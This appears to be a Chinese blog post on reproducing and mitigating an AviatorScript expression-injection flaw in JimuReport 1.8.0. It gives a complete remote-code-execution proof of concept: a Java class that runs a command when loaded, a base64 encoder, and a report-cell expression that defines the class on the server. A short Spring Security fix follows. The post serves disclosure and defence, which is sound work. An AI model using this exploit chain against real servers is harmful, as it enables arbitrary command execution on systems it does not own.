积木报表安全漏洞

AviatorScript表达式注入漏洞,复现及解决

依赖版本

			<groupId>org.jeecgframework.jimureport</groupId>
            <artifactId>jimureport-spring-boot-starter</artifactId>
            <version>1.8.0</version>

复现过程

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class test1 extends AbstractTranslet {
    public test1() {
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

1、创建test1类,加载类时可调起服务端计算器(windows系统参数为 calc, Runtime.getRuntime().exec(“calc”); )。
2、使用javac命令 ,将类编译成字节码文件, javac test1.java
3、生成字节码base64字符串
public class ClassToBase64 {
public static void main(String[] args) {
try {
// 读取 .class 文件
Path path = Paths.get(“test1.class”);
byte[] classBytes = Files.readAllBytes(path);

        // 将字节数组编码为 Base64 字符串
        String base64Class = Base64.getEncoder().encodeToString(classBytes);

        // 输出 Base64 编码的字符串
        System.out.println(base64Class);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

}
4、创建积木报表,选择一个单元格,设置如下内容(AviatorScript表达式),表达式中的base64字符串以及类名替换成自己的,含义是通过ClassLoader加载类test1。

=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('test1', Base64Utils.decodeFromString('yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACnRlc3QxLmphdmEMAAoACwcAIwwAJAAlAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAKAEABXRlc3QxAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAAIQABAAEAAAAFKrcAAbEAAAABAA0AAAAKAAIAAAAJAAQACgABAA4ADwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAADQAQAAAABAABABEAAQAOABIAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAABAAEAAAAAQAAQARAAgAEwALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAUAAkAFwAMABUADQAWABYAGAAUAAAABwACTAcAFQkAAQAWAAAAAgAX'), ClassLoader.getSystemClassLoader());)

保存报表,保存会使用积木报表接口 /jmreport/save
5、首次查看报表时,会调接口/jmreport/show,执行表达式,打开服务器的计算器。
具体代码执行逻辑可以看 ExpressUtil中,可以发现存在AviatorEvaluator。从而完成表达式执行。因此客户端可发起对服务端的攻击,例如服务 (DoS) 攻击
在这里插入图片描述

解决

加强积木报表接口的安全控制。
我们报表配置是研发配置的不需要暴露给用户,配置完成使用sql初始化就可以,所以我们禁用了保存接口。
通过 Spring Security 禁用保存接口
antMatchers(“/jmreport/save”).denyAll()

参考文档

https://blog.csdn.net/weixin_49125123/article/details/141819477
https://mp.weixin.qq.com/s/H5LKy9ISLPvRmm3lpWRtew

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值